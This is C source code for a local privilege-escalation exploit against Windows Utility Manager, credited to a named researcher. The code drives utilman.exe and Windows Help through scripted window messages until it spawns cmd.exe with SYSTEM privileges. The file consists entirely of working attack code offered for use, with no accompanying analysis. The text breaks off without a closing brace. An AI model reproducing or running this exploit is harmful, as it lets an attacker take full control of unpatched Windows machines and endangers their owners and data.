// By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager
// Gives you a shell with system privileges
// If you have problems try changing Sleep() values.

#include <stdio.h>
#include <windows.h>
#include <commctrl.h>
#include <Winuser.h>

int main(int argc, char *argv[])
{
HWND lHandle, lHandle2;
POINT point;

char sText[]="%windir%\\system32\\cmd.ex?";

// run utility manager
system("utilman.exe /start");
Sleep(500);

// execute contextual help
SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
Sleep(500);

// open file open dialog windown in Windows Help
PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
Sleep(500);

// find open file dialog window
lHandle = FindWindow("#32770","Open");

// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);

// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);

// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);
//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);

SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
Sleep(500);

// popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);

// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);

SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window